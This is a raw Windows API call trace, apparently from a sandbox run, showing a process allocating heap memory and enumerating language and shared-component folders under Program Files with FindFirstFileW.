[0079.102] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.102] GetProcessHeap () returned 0x11a0000 [0079.102] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.102] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.102] GetProcessHeap () returned 0x11a0000 [0079.102] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.102] GetProcessHeap () returned 0x11a0000 [0079.102] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.102] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.103] GetProcessHeap () returned 0x11a0000 [0079.103] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.103] GetProcessHeap () returned 0x11a0000 [0079.103] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.103] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.103] GetProcessHeap () returned 0x11a0000 [0079.103] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.103] GetProcessHeap () returned 0x11a0000 [0079.103] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.103] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b89880 [0079.106] GetProcessHeap () returned 0x11a0000 [0079.106] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.106] GetProcessHeap () returned 0x11a0000 [0079.106] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.107] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.107] GetProcessHeap () returned 0x11a0000 [0079.107] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.107] GetProcessHeap () returned 0x11a0000 [0079.107] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.107] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.107] GetProcessHeap () returned 0x11a0000 [0079.107] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.107] GetProcessHeap () returned 0x11a0000 [0079.107] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.107] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8a440 [0079.110] GetProcessHeap () returned 0x11a0000 [0079.110] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.110] GetProcessHeap () returned 0x11a0000 [0079.111] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.111] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.111] GetProcessHeap () returned 0x11a0000 [0079.111] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.111] GetProcessHeap () returned 0x11a0000 [0079.111] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.111] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.111] GetProcessHeap () returned 0x11a0000 [0079.111] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.111] GetProcessHeap () returned 0x11a0000 [0079.111] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.111] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.112] GetProcessHeap () returned 0x11a0000 [0079.112] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.112] GetProcessHeap () returned 0x11a0000 [0079.112] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.112] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.767] GetProcessHeap () returned 0x11a0000 [0079.767] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.767] GetProcessHeap () returned 0x11a0000 [0079.767] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.767] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.767] GetProcessHeap () returned 0x11a0000 [0079.767] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.767] GetProcessHeap () returned 0x11a0000 [0079.767] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.768] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.768] GetProcessHeap () returned 0x11a0000 [0079.768] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.768] GetProcessHeap () returned 0x11a0000 [0079.768] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.768] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.768] GetProcessHeap () returned 0x11a0000 [0079.768] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.768] GetProcessHeap () returned 0x11a0000 [0079.768] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.768] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.769] GetProcessHeap () returned 0x11a0000 [0079.769] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.769] GetProcessHeap () returned 0x11a0000 [0079.769] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.769] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.770] GetProcessHeap () returned 0x11a0000 [0079.770] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.770] GetProcessHeap () returned 0x11a0000 [0079.770] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.770] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.770] GetProcessHeap () returned 0x11a0000 [0079.770] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.770] GetProcessHeap () returned 0x11a0000 [0079.770] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.770] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.770] GetProcessHeap () returned 0x11a0000 [0079.770] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.770] GetProcessHeap () returned 0x11a0000 [0079.770] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.771] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.771] GetProcessHeap () returned 0x11a0000 [0079.771] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.771] GetProcessHeap () returned 0x11a0000 [0079.771] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.771] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.772] GetProcessHeap () returned 0x11a0000 [0079.772] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.772] GetProcessHeap () returned 0x11a0000 [0079.772] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.772] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.772] GetProcessHeap () returned 0x11a0000 [0079.772] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.772] GetProcessHeap () returned 0x11a0000 [0079.772] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.772] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tr-TR\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.773] GetProcessHeap () returned 0x11a0000 [0079.773] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.773] GetProcessHeap () returned 0x11a0000 [0079.773] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.773] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.773] GetProcessHeap () returned 0x11a0000 [0079.773] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.774] GetProcessHeap () returned 0x11a0000 [0079.774] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.774] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.774] GetProcessHeap () returned 0x11a0000 [0079.774] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.774] GetProcessHeap () returned 0x11a0000 [0079.774] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.774] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.774] GetProcessHeap () returned 0x11a0000 [0079.774] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.774] GetProcessHeap () returned 0x11a0000 [0079.774] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b12760 | out: hHeap=0x11a0000) returned 1 [0079.776] GetProcessHeap () returned 0x11a0000 [0079.776] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b12760 [0079.776] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName=".", cAlternateFileName="")) returned 0x11b9f50 [0079.776] GetProcessHeap () returned 0x11a0000 [0079.776] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 [0079.777] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.778] GetProcessHeap () returned 0x11a0000 [0079.778] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.778] GetProcessHeap () returned 0x11a0000 [0079.778] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b12760 | out: hHeap=0x11a0000) returned 1 [0079.779] GetProcessHeap () returned 0x11a0000 [0079.779] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b12760 [0079.779] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName=".", cAlternateFileName="")) returned 0x11b9f50 [0079.781] GetProcessHeap () returned 0x11a0000 [0079.781] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b55798 